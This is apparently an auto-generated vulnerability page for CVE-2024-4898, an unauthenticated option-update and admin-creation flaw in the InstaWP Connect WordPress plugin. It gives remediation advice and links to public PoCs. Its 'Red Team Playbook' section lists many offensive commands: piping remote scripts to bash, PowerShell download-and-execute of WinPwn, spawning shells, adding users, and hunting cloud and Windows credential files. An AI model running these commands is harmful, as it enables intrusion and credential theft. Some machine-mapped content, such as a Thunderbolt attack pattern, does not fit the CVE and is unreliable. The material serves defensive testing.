CVE-2024-4898
Overview
This vulnerability is an authorization bypass in the REST API of the InstaWP Connect – 1-click WP Staging & Migration WordPress plugin. The root cause is missing authorization checks on REST API endpoints, allowing unauthenticated access to sensitive functions. The affected component is the REST API interface handling option updates and administrative actions in versions up to 0.1.0.38.
Vulnerability Description
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary option updates due to a missing authorization checks on the REST API calls in all versions up to, and including, 0.1.0.38. This makes it possible for unauthenticated attackers to connect the site to InstaWP API, edit arbitrary site options and create administrator accounts.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to modify critical site options and create administrator accounts, effectively gaining full control over the WordPress site. No authentication or user interaction is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This enables unauthorized site takeover, potential data breaches, and persistent unauthorized administrative access, severely compromising the integrity and confidentiality of the affected WordPress installation.
Solution
Users should upgrade the InstaWP Connect plugin to a version later than 0.1.0.38 where authorization checks are properly implemented. Detailed patch information and remediation steps are provided by Wordfence at https://www.wordfence.com/threat-intel/vulnerabilities/id/92a00fb4-7b50-43fd-ac04-5d6e29336e9c. Review the plugin’s changelog and apply the vendor’s fixed release promptly to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the InstaWP Connect plugin for WordPress stems from inadequate authorization checks on REST API calls. Specifically, this flaw allows unauthenticated users to perform arbitrary option updates, which can lead to severe security breaches. The absence of proper validation mechanisms means that attackers can manipulate site configurations without needing any form of authentication. This vulnerability is particularly concerning as it affects all versions up to and including 0.1.0.38, leaving a wide range of installations exposed to potential exploitation.
Attack vectors for this vulnerability are straightforward and can be executed with minimal technical expertise. An attacker can leverage the REST API to connect a vulnerable WordPress site to the InstaWP API. Once connected, they can modify critical site options, such as changing the site URL, altering admin email addresses, or even creating new administrator accounts. This capability not only allows for unauthorized access but also enables attackers to establish persistent control over the affected site. Scenarios may include an attacker gaining access to sensitive user data, injecting malicious code, or using the compromised site as a launchpad for further attacks against users or other connected systems.
The real-world impact of this vulnerability is significant, especially for businesses relying on WordPress for their online presence. An attacker exploiting this flaw could lead to data breaches, loss of customer trust, and potential legal ramifications due to non-compliance with data protection regulations. The ability to create administrator accounts means that an attacker can effectively take over the site, leading to defacement, data theft, or the installation of malware. The business risks associated with such an incident can be substantial, including financial losses, reputational damage, and the costs associated with incident response and recovery efforts.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regularly updating plugins to the latest versions is crucial, as this can patch known vulnerabilities. Additionally, employing security plugins that monitor REST API calls can help identify unauthorized attempts to modify site options. Organizations should also consider implementing Web Application Firewalls (WAF) that can filter out malicious requests targeting the REST API. Furthermore, restricting access to the REST API to authenticated users only can significantly reduce the attack surface. Conducting routine security audits and penetration testing can also help identify potential vulnerabilities before they can be exploited.
In conclusion, the vulnerability in the InstaWP Connect plugin highlights the critical importance of robust authorization mechanisms in web applications. The potential for unauthorized access and manipulation of site configurations poses a serious threat to the security of WordPress installations. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can take proactive measures to safeguard their web assets and mitigate the associated risks.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Instawp | Instawp Connect | All |
cpe:2.3:a:instawp:instawp_connect:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
cve-2024/CVE-2024-4898-Poc
|
cve-2024 | 0 | 0 | 2024-06-14 | View |
|
gh-ost00/CVE-2024-4898
CVE-2024-4898 InstaWP Connect – 1-click WP Staging & Migration <= 0.1.0.38 - Missing Authorization to Unauthenticated AP...
|
gh-ost00 | 0 | 0 | 2024-11-08 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
47%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-4898 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/92a00fb4-7b50-43fd-ac04-5d6e29336e9c?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/instawp-connect/tags/0.1.0.38/includes/class-instawp-rest-api.php#L926 |